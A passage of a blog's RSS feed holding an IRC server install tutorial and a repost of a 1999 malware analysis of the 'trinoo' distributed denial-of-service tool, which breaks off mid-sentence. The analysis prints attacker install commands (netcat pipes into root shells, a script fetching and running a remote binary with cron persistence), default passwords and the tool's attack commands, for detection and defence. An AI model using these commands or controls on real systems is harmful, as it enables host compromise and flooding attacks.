src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/81/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=81&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2009/04/03/membuat-bot-eggdrop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>
	</item>
		<item>
		<title>INSTAL IRCD</title>
		<link>http://soloteam.wordpress.com/2009/04/01/instal-ircd/</link>
		<comments>http://soloteam.wordpress.com/2009/04/01/instal-ircd/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 20:08:55 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
				<category><![CDATA[Tutor]]></category>

		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=74</guid>
		<description><![CDATA[Anda pasti pernah dengar tentang Ircd? yang identik dengan server &#38; networks. Untuk yang baru pertama kali instal ircd mungkin agak membingungkan dan terkadang sering eror pada bagian akhirnya. Disini akan di jelaskan bagaimana langkah &#8211; langkahnya dan bagaimana cara mengatasi masalahnya. Lets Go On Guys&#8230; Pertama &#8211; tama siapkan shell yang dari linux maupun [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=74&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Anda pasti pernah dengar tentang Ircd? yang identik dengan server &amp; networks. Untuk yang baru pertama kali instal ircd mungkin agak membingungkan dan terkadang sering eror pada bagian akhirnya. Disini akan di jelaskan bagaimana langkah &#8211; langkahnya dan bagaimana cara mengatasi masalahnya. Lets Go On Guys&#8230; <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Pertama &#8211; tama siapkan shell yang dari linux maupun freeBSD, perbedaanya cuma pemakaian commands`nya. Tentunya banyak yang sudah tau, ya khan? <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Selanjutnya kita buka shell &amp; buat directoy dahulu untuk menaruh file ircdnya, dan sebelumnya cek dulu dimana posisi directory kita:</p>
<p>pwd</p>
<p>/home/estrada</p>
<p>mkdir solo</p>
<p><strong>nb: solo &lt;=  contoh nama directory baru, tempat kita menyimpan file.</strong></p>
<p>Setelah itu kita tinggal masuk ke directory baru kita dan mengexsesekusinya:</p>
<p>1. cd /solo</p>
<p>2. wget http://bdd.exolia.net/serveurs/Unreal3.2.7.tar.gz<br />
3. tar -zxvf Unreal3.2.7.tar.gz<br />
4. cd Unreal3.2.7<br />
5. ./Config</p>
<p>Kalau ada konfirmasi meminta -[ Enter]- Anda tekan Enter aja terus sampai menunjukan 100%.</p>
<p>6. make</p>
<p>Setelah di make anda edit dulu configurasi dari unrealircd.conf, connect.conf, oper.conf,  ircd.mtod nya. Untuk Linux gunakan &#8220;vi&#8221; Sedangkan untuk FreeBSD bisa digunakan &#8220;pico&#8221; untuk mengedit configurasinya, tergantung support tidaknya. untuk menyimpan file yang telah di edit gunakan comand &#8220;Esc  + :wq + enter&#8221;.</p>
<p>vi unrealircd.conf<br />
vi connect.conf<br />
vi oper.conf<br />
vi ircd.motd</p>
<p>Setelah semua selesai di edit configurasinya exsekusi dengan :<br />
7. make install<br />
8. ./unreal start</p>
<p>Nah selesai sudah, sekarang anda memiliki server sendiri. <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Cukup sekian dulu penjelasanya, kalau ada yg perlu ditanyakan saran dan kritik akan kami terima dengan lapang dada. <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>NB: Untuk contoh unrealircd.conf, connect.conf, oper.conf anda bisa lihat di kategori IRCD.</p>
<p>Thanks Regard To :</p>
<p>Dj-RuFfy &#8211; NOGGLENK &#8211; ROZI And Sekip Crew &#8211; Cavalera And Habbat Crew.</p>
<p>Irc.Mildnet.Org Crew</p>
<p>Irc.Allindo.Net Crew</p>
<p>Irc.Indoirc.Net Crew</p>
<p>Irc.Byroe.Net Crew</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/74/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/74/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/74/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/74/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/74/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/74/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/74/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/74/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/74/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/74/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/74/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/74/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/74/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/74/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=74&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2009/04/01/instal-ircd/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>
	</item>
		<item>
		<title>trinoo.analysis</title>
		<link>http://soloteam.wordpress.com/2009/04/01/trinooanalysis/</link>
		<comments>http://soloteam.wordpress.com/2009/04/01/trinooanalysis/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 18:59:14 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
				<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=71</guid>
		<description><![CDATA[========================================================================== The DoS Project's "trinoo" distributed denial of service attack tool ========================================================================== David Dittrich &#60;dittrich@cac.washington.edu&#62; University of Washington Copyright 1999. All rights reserved. October 21, 1999 Introduction ------------ The following is an analysis of the DoS Project's "trinoo" (a.k.a. "trin00") master/slave programs, which implement a distributed network denial of service tool. Trinoo daemons were originally [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=71&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>==========================================================================

  The DoS Project's "trinoo" distributed denial of service attack tool

==========================================================================

David Dittrich &lt;dittrich@cac.washington.edu&gt;
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999

Introduction
------------

The following is an analysis of the DoS Project's "trinoo" (a.k.a.
"trin00") master/slave programs, which implement a distributed
network denial of service tool.

Trinoo daemons were originally found in binary form on a number of
Solaris 2.x systems, which were identified as having been compromised
by exploitation of buffer overrun bugs in the RPC services "statd",
"cmsd" and "ttdbserverd".  These attacks are described in CERT
Incident Note 99-04:

http://www.cert.org/incident_notes/IN-99-04.html

The trinoo daemons were originally believed to be UDP based,
access-restricted remote command shells, possibly used in conjunction
with sniffers to automate recovering sniffer logs.

During investigation of these intrusions, the installation of a trinoo
network was caught in the act and the trinoo source code was obtained
from the account used to cache the intruders' tools and log files.
This analysis was done using this recovered source code.

Modification of the source code would change any of the details
in this analysis, such as prompts, passwords, commands, TCP/UDP port
numbers, or supported attack methods, signatures, and features.

The daemon was compiled and run on Solaris 2.5.1 and Red Hat Linux 6.0
systems.  The master was compiled and run on Red Hat Linux 6.0.  It is
believed that both master and daemon have been witnessed "in the
wild" on these same platforms.

Trinoo networks are probably being set up on hundreds, perhaps
thousands, of systems on the Internet that are being compromised by
remote buffer overrun exploitation.  Access to these systems is
probably being perpetuated by the installation of multiple "back
doors" along with the trinoo daemons.

A trinoo network of at least 227 systems -- 114 of these at Internet2
sites -- was used on August 17, 1999 to flood a single system at the
University of Minnessota, swamping the target network and rendering it
unusable for over two days.  While responding to this attack, large
flows were also noticed going to at least sixteen other systems, some
outside the US.  (See Appendix D for a report of part of this trinoo
attack.) 

Attack scenario
---------------

A typical installation might go something like this.

1).  A stolen account is set up as a repository for pre-compiled
versions of scanning tools, attack (i.e. buffer overrun exploit)
tools, root kits and sniffers, trinoo daemon and master programs,
lists of vulnerable hosts and previously compromised hosts, etc.  This
would normally be a large system with many users, one with little
administrative oversight, and on a high-bandwidth connection for rapid
file transfer.

2).  A scan is performed of large ranges of network blocks to identify
potential targets.  Targets would include systems running various
services known to have remotely exploitable buffer overflow security
bugs, such as wu-ftpd, RPC services for "cmsd", "statd",
"ttdbserverd", "amd", etc.  Operating systems being targeted appear to
be primarily Sun Solaris 2.x and Linux (due to the ready availability
of network sniffers and "root kits" for concealing back doors, etc.),
but stolen accounts on any architecture can be used for caching tools
and log files.

3).  A list of vulnerable systems is then used to create a script that
performs the exploit, sets up a command shell running under the root
account that listens on a TCP port (commonly 1524/tcp, the
"ingreslock" service port), and connects to this port to confirm the
success of the exploit.  In some cases, an electronic mail message is
sent to an account at a free web based email service to confirm which
systems have been compromised.

The result is a list of "owned" systems ready for setting up
back doors, sniffers, or the trinoo daemons or masters.

4). From this list of compromised systems, subsets with the desired
architecture are chosen for the trinoo network.  Pre-compiled binaries
of the trinoo daemon are created and stored on a stolen account
somewhere on the Internet.

5). A script is then run which takes this list of "owned" systems and
produces yet another script to automate the installation process,
running each installation in the background for maximum multitasking.

This script uses "netcat" ("nc") to pipe a shell script to the root
shell listening on, in this case, port 1524/tcp:

---------------------------------------------------------------------------
./trin.sh | nc 128.aaa.167.217 1524 &amp;
./trin.sh | nc 128.aaa.167.218 1524 &amp;
./trin.sh | nc 128.aaa.167.219 1524 &amp;
./trin.sh | nc 128.aaa.187.38 1524 &amp;
./trin.sh | nc 128.bbb.2.80 1524 &amp;
./trin.sh | nc 128.bbb.2.81 1524 &amp;
./trin.sh | nc 128.bbb.2.238 1524 &amp;
./trin.sh | nc 128.ccc.12.22 1524 &amp;
./trin.sh | nc 128.ccc.12.50 1524 &amp;
 . . .
---------------------------------------------------------------------------

The script "trin.sh", whose output is being piped to these systems,
looks like:

---------------------------------------------------------------------------
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"

echo "chmod +x /usr/sbin/rpc.listen"

echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"

echo "echo \* \* \* \* \* /usr/sbin/rpc.listen &gt; cron"
echo "crontab cron"
echo "echo launched"
echo "exit"
---------------------------------------------------------------------------

Depending on how closely crontab files are monitored, or if they are
used at all, this may be detected easily.  If cron is not used at all
by this user (usually root), it may not be detected at all.

Another method was witnessed on at least one other system, where the
daemon was named "xterm", and was started using a script (named "c" on
the system on which it was found) that contains:

---------------------------------------------------------------------------
cd /var/adm/.1
PATH=.:$PATH
export PATH
xterm 1&gt;/dev/null 2&gt;&amp;1
---------------------------------------------------------------------------

This would supposedly imply a method of running this script on demand
to set up the trinoo network.

Even more subtle ways of having trinoo daemons/masters lie in wait for
execution at a given time are easy to envision (e.g., UDP or ICMP
based client/server shells, such as LOKI (see Appendix C) , programs
that wake up periodically and open a listening TCP or UDP port, etc.)

The result of this automation is the ability for attackers to set up
the denial of service network, on widely dispersed systems whose true
owners don't even know are out of their control, in a very short time
frame.

6).  Optionally, a "root kit" is installed on the system to hide the
presence of programs, files, and network connections.   This is more
important on the master system, since these systems are key to the
trinoo network. (It should be noted that in many cases, masters have
been set up on Internet Service Providers' primary name server hosts,
which would normally have extremely high packet traffic and large
numbers of TCP and UDP connections, which would effectively hide any
trinoo related traffic or activity, and would likely not be detected.
(The fact that these are primary name servers would also tend to make
the owners less likely to take the system off the Internet when
reports begin to come in about suspected denial of service related
activity.)

Root kits would also be used on systems running sniffers that, along
with programs like "hunt" (TCP/IP session hijacking tool) are used to
burrow further into other networks directly, rather than through
remote buffer overrun exploits (e.g., to find sites to set up new file
repositories, etc.)

For more on "root kits" and some ways to get around them, see:

http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq

The network: attacker(s)--&gt;master(s)--&gt;daemon(s)--&gt;victim(s)
------------------------------------------------------------

The trinoo network is made up of a master server ("master.c") and the
trinoo daemon ("ns.c").  A trinoo network would look like this:

                  +----------+           +----------+
                  | attacker |           | attacker |
                  +----------+           +----------+
                       |                      |
        . . . --+------+---------------+------+----------------+-- . . .
                |                      |                       |
                |                      |                       |
           +----------+           +----------+            +----------+
           |  master  |           |  master  |            |  master  |
           +----------+           +----------+            +----------+
                |                      |                       |
                |                      |                       |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
         |            |            |            |            |
         |            |            |            |            |
     +--------+   +--------+   +--------+   +--------+   +--------+
     | daemon |   | daemon |   | daemon |   | daemon |   | daemon |
     +--------+   +--------+   +--------+   +--------+   +--------+

The attacker(s) control one or more "master" servers, each of which
can control many "daemons" (known in the code as "Bcast", or
"broadcast" hosts.)  The daemons are all instructed to coordinate a
packet based attack against one or more victim systems.

All that is then needed is the ability to establish a TCP connection
to the master hosts using "telnet" and the password to the master
server to be able to wage massive, coordinated, denial of service
attacks.

Communication ports
-------------------

    Attacker to Master(s):	27665/tcp
    Master to daemon(s):	27444/udp
    Daemon to Master(s):	31335/udp

Remote control of the trinoo master is accomplished via a TCP
connection to port 27665/tcp.  After connecting, the user must give
the proper password ("betaalmostdone").  If another connection is made
to the server while someone is already authenticated, a warning is
sent to them with the IP address of the connecting host (it appears
there is a bug that reports incorrect IP addresses, but a warning is
still communicated).  This will no doubt be fixed eventually and will
then give the attackers time to clean up and cover their tracks.

Communication from the trinoo master to daemons is via UDP packets
on port 27444/udp.  Command lines are space separated lines of the
form:

	arg1 password arg2

The default password for commands is "l44adsl", and only command lines
that contain the substring "l44" are processed.

Communication from the trinoo daemons and the master is via UDP
packets on port 31335/udp.

When the daemon starts, it initially sends "*HELLO*" to the master,
which maintains a list of active daemons that it controls (packet
captured using "sniffit"):

UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335
 45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
 0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
 4C L 4F O 2A *

If the trinoo master sends a "png" command to a daemon on port
27444/udp, the daemon will reply to the server that just sent the "png"
command by sending the string "PONG" on port 31335/udp:

UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
 45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
 C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
 6C l 34 4 34 4 61 a 64 d 73 s 6C l

UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335
 45 E 00 . 00 . 20   13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
 0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G

Password protection
-------------------

Both the master and daemons are password protected to prevent
system administrators (or other hacker groups) from being able to take
control of the trinoo network.  These passwords are crypt() style
passwords.  They are used in a symmetric fashion, where the encrypted
password is compiled into the master and daemons and used to compare
against the clear-text version of the password that is sent over the
network (the current version does not encrypt the actual session, so the
clear-text passwords are exposed in transit and the master control
sessions are subject to TCP session highjacking).

When initially run, the master daemon produces a prompt, waiting
for a password.  If the proper password is not received, the program
exits.  If the proper password is given, the process announces its
execution, forks to continue running in the background, and exits:
<ol>
<li>./master</li>
</ol>

    ?? wrongpassword
<ol>
<li>. . .</li>
<li>./master</li>
</ol>

    ?? gOrave
    trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24]
<ol>
<li>Likewise, when you connect to the remote command port (default</li>
</ol>

27665/tcp), you must also give a password:

    attacker$ telnet 10.0.0.1 27665
    Trying 10.0.0.1
    Connected to 10.0.0.1
    Escape character is '^]'.
    kwijibo
    Connection closed by foreign host.
     . . .

    attacker$ telnet 10.0.0.1 27665
    Trying 10.0.0.1
    Connected to 10.0.0.1
    Escape character is '^]'.
    betaalmostdone
    trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]

    trinoo&gt;

Certain commands sent to the trinoo daemons by the master are also
password protected.  This password is sent in clear text between the
master and daemons.

The default passwords were:

    "l44adsl"		trinoo daemon password
    "gOrave"		trinoo master server startup ("?? " prompt)
    "betaalmostdone"	trinoo master remote interface password
    "killme"		trinoo master password to control "mdie" command

Master commands
---------------

The trinoo master supports the following commands:

  die		Shut down the master.

  quit		Log off the master.

  mtimer N	Set DoS timer to N seconds.  N can be between 1 and 1999
		seconds. If N is &lt; 1, it defaults to 300. If N
 		is &gt; 2000, it defaults to 500.

  dos IP	DoS the IP address specified.  A command ("aaa l44adsl
		IP") is sent to each Bcast host (i.e., trinoo daemons)
		telling them to DoS the specified IP address.

  mdie pass	Disable all Bcast hosts, if the correct password is
		specified. A command is sent ("d1e l44adsl") to each
		Bcast host telling them to shut down.  A separate
		password is required for this command.

  mping		Send a PING command ("png l44adsl") to every active
  		Bcast host.

  mdos &lt;ip1:ip2:ip3&gt;
  		Multiple DoS.  Sends a multiple DoS command
		("xyz l44adsl 123:ip1:ip2:ip3") to each Bcast host.

  info		Print version and compile information, e.g.:

     This is the "trinoo" AKA DoS Project master server version v1.07d2+f3+c
     Compiled 15:08:41 Aug 16 1999

  msize		Set the buffer size for packets sent during DoS attacks.

  nslookup host	Do a name service lookup of the specified host from
  		the perspective of the host on which the master
		server is running.

  killdead	Attempts to weed out all dead Bcast hosts by first
		sending all known Bcast hosts a command ("shi l44adsl")
		that causes any active daemons to reply with the initial
		"*HELLO*" string, then renames the Bcast file (with
		extension "-b") so it will be re-initialized when the
		"*HELLO*" packets are received.

  usebackup	Switch to the backup Bcast file created by the
		"killdead" command.

  bcast		List all active Bcast hosts.

  help [cmd]	Give a (partial) list of commands, or a brief
		description of the command "cmd" if specified.

  mstop		Attempts to stop a DoS attack (not implemented, but
		listed in the help command).

Daemon commands
---------------

The trinoo daemon supports the following commands:

  aaa pass IP	DoS the specified IP address.  Sends UDP packets to random
		(0-65534) UDP ports on the specified IP addresses for
		a period of time (default is 120 seconds, or 1 - 1999
		seconds as set by the "bbb" command.)  The size of the
		packets is that set by the "rsz" command, or the default
		size of 1000 bytes.

  bbb pass N	Sets time limit (in seconds) for DoS attacks.

  shi pass	Sends the string "*HELLO*" to the list of master servers
		compiled into the program on port 31335/udp.

  png pass	Sends the string "PONG" to the master that issued the
		the command on port 31335/udp.

  d1e pass	Shut down the trinoo daemon.

  rsz N		Set size of buffer for DoS attacks to N bytes.
  		(The trinoo daemon simply malloc()s a buffer with this
		size, then sends the uninitialized contents of the
		buffer during an attack.)

  xyz pass 123:ip1:ip2:ip3
		Multiple DoS.  Does the same thing as the "aaa"
		command, but for multiple IP addresses.

It could be coincidence, but I will give the author some credit and
assume that three letter commands were chosen so they don't show up in
the binary as visible strings under the default behavior of
STRINGS(1).  You must use the "--bytes=3" option of GNU STRINGS(1) to
see the commands:
<ol>
<li>strings --bytes=3 ns | tail -15</li>
</ol>

	socket
	bind
	recvfrom
	l44
	%s %s %s
	aIf3YWfOhw.V.
	aaa
	bbb
	shi
	png
	PONG
	d1e
	rsz
	xyz
<ul>
<li>HELLO*</li>
</ul>

Fingerprints
------------

The method used to install the trinoo daemon on some systems employs
a crontab entry to start the daemon every minute.  Examining crontab
files would locate this entry:
<ul>
<li>* * * * /usr/sbin/rpc.listen</li>
</ul>

The master program creates a file (default name "...") containing the
set of Bcast hosts.  If the command "killdead" is used, an "shi" command
is sent to all daemons listed in "...", which causes them to send the
initial "*HELLO*" string to all masters. The current list is renamed
(default "...-b") and a new list is then generated as each remaining
live daemon sends its "*HELLO*".

The source code ("master.c") contains the following lines:

------------------------------------------------------------------------------
. . .
/* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?)
   comment out for no encryption... */
<ol>
<li>define CRYPTKEY "ZsoTN.cq4X31"</li>
</ol>

. . .
------------------------------------------------------------------------------

If the program was compiled with CRYPTKEY defined, the IP addresses of
Bcast hosts are encrypted using the Blowfish encryption algorithm:
<ol>
<li>ls -l ... ...-b</li>
</ol>

    -rw-------   1 root     root           25 Sep 26 14:46 ...
    -rw-------   1 root     root           50 Sep 26 14:30 ...-b
<ol>
<li>cat ...</li>
</ol>

    JPbUc05Swk/0gMvui18BrFH/
<ol>
<li>cat ...-b</li>
</ol>

    aE5sK0PIFws0Y0EhH02fLVK.
    JPbUc05Swk/0gMvui18BrFH/

Assuming there is no "root kit" present to hide processes, the master
server shows the following network socket fingerprints (of course, the
names and directory locations of either program are subject to change):

------------------------------------------------------------------------------
<ol>
<li>netstat -a --inet</li>
</ol>

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 *:27665                 *:*                     LISTEN
. . .
udp        0      0 *:31335                 *:*
. . .
<ol>
<li>lsof | egrep ":31335|:27665"</li>
</ol>

master   1292     root    3u  inet       2460              UDP *:31335
master   1292     root    4u  inet       2461              TCP *:27665 (LISTEN)
<ol>
<li>lsof -p 1292</li>
</ol>

COMMAND  PID USER   FD   TYPE DEVICE    SIZE  NODE NAME
master  1292 root  cwd    DIR    3,1    1024 14356 /tmp/...
master  1292 root  rtd    DIR    3,1    1024     2 /
master  1292 root  txt    REG    3,1   30492 14357 /tmp/.../master
master  1292 root  mem    REG    3,1  342206 28976 /lib/ld-2.1.1.so
master  1292 root  mem    REG    3,1   63878 29116 /lib/libcrypt-2.1.1.so
master  1292 root  mem    REG    3,1 4016683 29115 /lib/libc-2.1.1.so
master  1292 root    0u   CHR    4,1          2967 /dev/tty1
master  1292 root    1u   CHR    4,1          2967 /dev/tty1
master  1292 root    2u   CHR    4,1          2967 /dev/tty1
master  1292 root    3u  inet   2534           UDP *:31335
master  1292 root    4u  inet   2535           TCP *:27665 (LISTEN)
------------------------------------------------------------------------------

A system running a daemon would show the following:

------------------------------------------------------------------------------
<ol>
<li>netstat -a --inet</li>
</ol>

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
. . .
udp        0      0 *:1024                  *:*
udp        0      0 *:27444                 *:*
. . .
<ol>
<li>lsof | egrep ":27444"</li>
</ol>

ns       1316     root    3u  inet       2502              UDP *:27444 
<ol>
<li>lsof -p 1316</li>
</ol>

COMMAND  PID USER   FD   TYPE DEVICE    SIZE   NODE NAME
ns      1316 root  cwd    DIR    3,1    1024 153694 /tmp/...
ns      1316 root  rtd    DIR    3,1    1024      2 /
ns      1316 root  txt    REG    3,1    6156 153711 /tmp/.../ns
ns      1316 root  mem    REG    3,1  342206  28976 /lib/ld-2.1.1.so
ns      1316 root  mem    REG    3,1   63878  29116 /lib/libcrypt-2.1.1.so
ns      1316 root  mem    REG    3,1 4016683  29115 /lib/libc-2.1.1.so
ns      1316 root    0u   CHR    4,1           2967 /dev/tty1
ns      1316 root    1u   CHR    4,1           2967 /dev/tty1
ns      1316 root    2u   CHR    4,1           2967 /dev/tty1
ns      1316 root    3u  inet   2502            UDP *:27444
ns      1316 root    4u  inet   2503            UDP *:1024
------------------------------------------------------------------------------

Defenses
--------

Of course, the best defense is to prevent intrusions and root level
compromise of your systems in the first place, so there would be no
systems on which to install trinoo master/daemons.  In an ideal world,
all systems would be patched, secured, monitored, intrusion detection
systems and firewalls would be available to detect and reject packets,
and I'd be a multi-millionaire living six months of the year in a beach
mansion on Bali, and six months in the French Alps.  In the real world,
this is not an option (at least not in the foreseeable future.)

Instead, your network may already have several trinoo daemons running
and ready to DoS other systems at any minute.  So how can they be
detected or disabled?

Because the programs use high numbered UDP ports for both communication
and attack, it will be very difficult (if not impossible) to block it
without breaking programs that use UDP on high numbered ports.

The easiest method to detect the presence of trinoo masters or daemons
(as the code exists presently) may be to monitor all UDP packets on
shared Ethernet segments and look for the tell tale signs of
communication between master(s) and daemon(s) as described elsewhere in
this paper. (Switches would preclude seeing UDP packets that are not
associated with the MAC address of the monitoring host's network
interface.)  Unfortunately, this would only occur during an attack,
which would likely become known by network throughput degradation and/or
reports of denial of service attacks from victim sites.

If a system is suspected of hosting a trinoo daemon that is actively
attacking, the output of the Solaris "truss" program on the running
daemon will show output like the following:

------------------------------------------------------------------------------
 . . .
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C)	= 0
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) (sleeping...)
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C)	= 0
time()						= 938385467
open("/dev/udp", O_RDWR)			= 5
ioctl(5, I_PUSH, "sockmod")			= 0
ioctl(5, I_STR, 0xEFFFF748)			= 0
ioctl(5, I_SETCLTIME, 0xEFFFF7FC)		= 0
ioctl(5, I_SWROPT, 0x00000002)			= 0
sigprocmask(SIG_SETMASK, 0xEFFFF7EC, 0xEFFFF7DC) = 0
ioctl(5, I_STR, 0xEFFFF660)			= 0
sigprocmask(SIG_SETMASK, 0xEFFFF7DC, 0xEFFFF7B8) = 0
sigprocmask(SIG_BLOCK, 0xEFFFF548, 0xEFFFF5C0)	= 0
ioctl(5, I_STR, 0xEFFFF548)			= 0
sigprocmask(SIG_SETMASK, 0xEFFFF5C0, 0x00000000) = 0
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)		= 0
time()						= 938385467
 . . .
------------------------------------------------------------------------------

The traffic on the network during an attack against a single target
(as seen by "tcpdump") would look like:

------------------------------------------------------------------------------
<ol>
<li>tcpdump ip host 192.168.0.1</li>
</ol>

 . . .
15:40:08.491782 10.0.0.1.1024 &gt; 192.168.0.1.27444: udp 25
15:40:08.574453 192.168.0.1.32885 &gt; 216.160.XX.YY.16838: udp 4 (DF)
15:40:08.576427 192.168.0.1.32885 &gt; 216.160.XX.YY.5758: udp 4 (DF)
15:40:08.579752 192.168.0.1.32885 &gt; 216.160.XX.YY.10113: udp 4 (DF)
15:40:08.583056 192.168.0.1.32885 &gt; 216.160.XX.YY.17515: udp 4 (DF)
15:40:08.600948 192.168.0.1.32885 &gt; 216.160.XX.YY.31051: udp 4 (DF)
15:40:08.604943 192.168.0.1.32885 &gt; 216.160.XX.YY.5627: udp 4 (DF)
15:40:08.610886 192.168.0.1.32885 &gt; 216.160.XX.YY.23010: udp 4 (DF)
15:40:08.614202 192.168.0.1.32885 &gt; 216.160.XX.YY.7419: udp 4 (DF)
15:40:08.615507 192.168.0.1.32885 &gt; 216.160.XX.YY.16212: udp 4 (DF)
15:40:08.616854 192.168.0.1.32885 &gt; 216.160.XX.YY.4086: udp 4 (DF)
15:40:08.618827 192.168.0.1.32885 &gt; 216.160.XX.YY.2749: udp 4 (DF)
15:40:08.623480 192.168.0.1.32885 &gt; 216.160.XX.YY.12767: udp 4 (DF)
15:40:08.625458 192.168.0.1.32885 &gt; 216.160.XX.YY.9084: udp 4 (DF)
15:40:08.628764 192.168.0.1.32885 &gt; 216.160.XX.YY.12060: udp 4 (DF)
15:40:08.632090 192.168.0.1.32885 &gt; 216.160.XX.YY.32225: udp 4 (DF)
 . . .
------------------------------------------------------------------------------

Weaknesses
----------

The first weakness is that the crypt() encrypted passwords, and some
prompts and return strings, are visible in both the master and daemon
binary images.

This can allow you to identify whether you have found a master or a
daemon, determine whether the passwords are the defaults shown in this
paper or not, and potentially allow you to exploit the password
weaknesses to take control of some/all of the trinoo network yourself.

If the source code has been modified (which it no doubt will by smarter
attackers), you would need to crack the passwords, or use a
hexadecimal/ASCII editor (e.g., "xxd", part of the VIM editor suite) and
change them in the binary image, in order to, for example, run the
master to retrieve the list of daemons.

If the source has not, you can determine this fact by observing the
